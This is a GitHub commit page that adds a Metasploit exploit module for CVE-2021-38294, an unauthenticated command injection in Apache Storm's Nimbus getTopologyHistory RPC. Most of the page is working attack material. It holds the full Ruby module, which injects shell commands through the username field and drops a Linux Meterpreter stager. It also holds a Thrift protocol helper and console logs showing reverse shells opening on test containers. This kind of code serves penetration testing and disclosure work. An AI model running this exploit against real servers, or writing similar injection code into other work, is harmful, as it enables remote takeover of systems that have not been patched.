Skip to content

Commit

Permalink
Land #15866, Add Exploit For CVE-2021-38294 (Apache Storm Nimbus getT…
Browse files Browse the repository at this point in the history
…opologyHistory RCE)
  • Loading branch information
gwillcox-r7 committed Nov 18, 2021
2 parents 7b06ee9 + 725c5f8 commit 7f6d661
Show file tree
Hide file tree
Showing 4 changed files with 350 additions and 10 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
## Vulnerable Application

This module exploits an unauthenticated command injection vulnerability within the Nimbus service
component of Apache Storm. The `getTopologyHistory()` RPC method method takes a single argument
which is the name of a user which is concatenated into a string that is executed by bash. In
order for the vulnerability to be exploitable, there must have been at least one topology
submitted to the server. The topology may be active or inactive, but at least one must be present.
Successful exploitation results in remote code execution as the user running Apache Storm.

This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
which is affected.

## Verification Steps

1. Setup a minimal Storm cluster using the published docker images. The following steps were adapted from [Docker
reference][1].
* The following steps can be executed to start up a minimal Storm cluster, but requires the [Storm Starter][2] jar
to exist in the current directory as `topology.jar`. Follow the steps on the [projects page][3] to build it with
Maven. Storm Starter v2.4.0 was used for testing.

```
# 1. Start a ZooKeeper server:
docker run -d --rm --name some-zookeeper zookeeper
# 2. Start a Nimbus server:
docker run -p 6627:6627 -d --rm --name some-nimbus --link some-zookeeper:zookeeper \
storm:2.2.0 storm nimbus
# 3. Start a Supervisor server:
docker run -d --rm --name supervisor1 --link some-zookeeper:zookeeper --link some-nimbus:nimbus \
storm:2.2.0 storm supervisor
# 4. Submit a topology using Storm Starter:
docker run --rm --link some-nimbus:nimbus -it -v $(pwd)/topology.jar:/topology.jar \
storm:2.2.0 storm jar /topology.jar \
org.apache.storm.starter.ExclamationTopology exclamation
```
2. Start `msfconsole`
3. Do: `use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec`
4. Set the module options
5. Do: `exploit`
6. You should get a shell

## Options

## Scenarios

### Debian 11.1 x64, Apache Storm v2.2.4 (From Docker)

```
msf6 > use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LHOST docker0
LHOST => docker0
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LPORT 6677
LPORT => 6677
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > show options
Module options (exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/
metasploit-framework/wiki/Using-Metasploit
RPORT 6627 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on.
This must be an address on the local machine or 0.
0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is rando
mly generated)
URIPATH no The URI to use for this exploit (default is random
)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST docker0 yes The listen address (an interface may be specified)
LPORT 6677 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check
[*] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection.
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit
[*] Started reverse TCP handler on 172.18.0.1:6677
[*] 127.0.0.1:6627 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection.
[*] 127.0.0.1:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3012548 bytes) to 172.18.0.3
[*] 127.0.0.1:6627 - Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (172.18.0.1:6677 -> 172.18.0.3:49872 ) at 2021-11-18 16:59:00 -0600
meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.1 (Linux 5.11.0-40-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: storm
meterpreter >
```

### Debian 11.1 x64, Apache Storm v2.2.0 (From Docker)

```
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET 1
TARGET => 1
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check
[*] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection.
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.31:6627 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection.
[*] 192.168.159.31:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3012548 bytes) to 192.168.159.31
[*] 192.168.159.31:6627 - Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:51680 ) at 2021-11-12 14:45:37 -0500
meterpreter > getuid
Server username: storm
meterpreter > sysinfo
Computer : 172.17.0.3
OS : Debian 11.1 (Linux 5.4.0-89-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

[1]: https://hub.docker.com/_/storm
[2]: https://github.com/apache/storm/tree/master/examples/storm-starter
[3]: https://github.com/apache/storm/tree/master/examples/storm-starter#build-and-install-storm-jars-locally
54 changes: 54 additions & 0 deletions lib/rex/proto/thrift.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# -*- coding: binary -*-

module Rex::Proto::Thrift
class DataType < BinData::Uint8
T_STOP = 0
T_UTF7 = 11

default_parameter assert: -> { !DataType.name(value).nil? }

def self.name(value)
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
end

def to_sym
self.class.name(value)
end
end

class MessageType < BinData::Uint16be
CALL = 1
REPLY = 2

default_parameter assert: -> { !MessageType.name(value).nil? }

def self.name(value)
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value }
end

def to_sym
self.class.name(value)
end
end

class Header < BinData::Record
endian :big

uint16 :version, initial_value: 0x8001
message_type :message_type
uint32 :method_name_length, value: -> { method_name.length }
string :method_name, read_length: :method_name_length
uint32 :sequence_id
end

class Data < BinData::Record
endian :big

data_type :data_type, initial_value: DataType::T_STOP
uint16 :field_id, onlyif: -> { data_type != DataType::T_STOP }
uint32 :data_length, onlyif: -> { data_type != DataType::T_STOP }, value: -> { data_value.length }
choice :data_value, onlyif: -> { data_type != DataType::T_STOP }, selection: :data_type do
string DataType::T_UTF7
end
end
end
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking
Expand Down Expand Up @@ -79,19 +81,10 @@ def initialize(info = {})
])
end

def stopwatch
# https://blog.dnsimple.com/2018/03/elapsed-time-with-ruby-the-right-way/
start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
ret = yield
elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start

[ret, elapsed]
end

def check
sleep_time = rand(5..10)

injected, elapsed_time = stopwatch do
injected, elapsed_time = Rex::Stopwatch.elapsed_time do
inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)
end

Expand Down
147 changes: 147 additions & 0 deletions modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

Thrift = Rex::Proto::Thrift

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
must have been at least one topology submitted to the server. The topology may be active or inactive, but at
least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.
This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
which is affected.
},
'Author' => [
'Alvaro Muñoz', # discovery and original research
'Spencer McIntyre', # metasploit module
],
'References' => [
['CVE', '2021-38294'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/']
],
'DisclosureDate' => '2021-10-25',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 6627,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def check
begin
connect
rescue Rex::ConnectionError
return CheckCode::Unknown('Failed to connect to the service.')
end

sleep_time = rand(5..10)
response, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}", { disconnect: false })
recv_response(sleep_time + 5)
end
disconnect

vprint_status("Elapsed time: #{elapsed_time} seconds")

unless response && elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Appears('Successfully tested command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, opts = {})
# comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching
cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
vprint_status("Executing command: #{cmd}")

send_request([
Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'),
Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"),
Thrift::Data.new
].map(&:to_binary_s).join)
disconnect if opts.fetch(:disconnect, true)
end

def send_request(request)
connect if sock.nil?
sock.put([ request.length ].pack('N') + request)
end

def recv_response(timeout)
remaining = timeout
res_size, elapsed = Rex::Stopwatch.elapsed_time do
sock.timed_read(4, remaining)
end

remaining -= elapsed
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

res = sock.timed_read(res_size.unpack1('N'), remaining)

return nil if res.nil? || res.length != res_size.unpack1('N')

return res_size + res
rescue Timeout::Error
return nil
end
end

0 comments on commit 7f6d661

Please sign in to comment.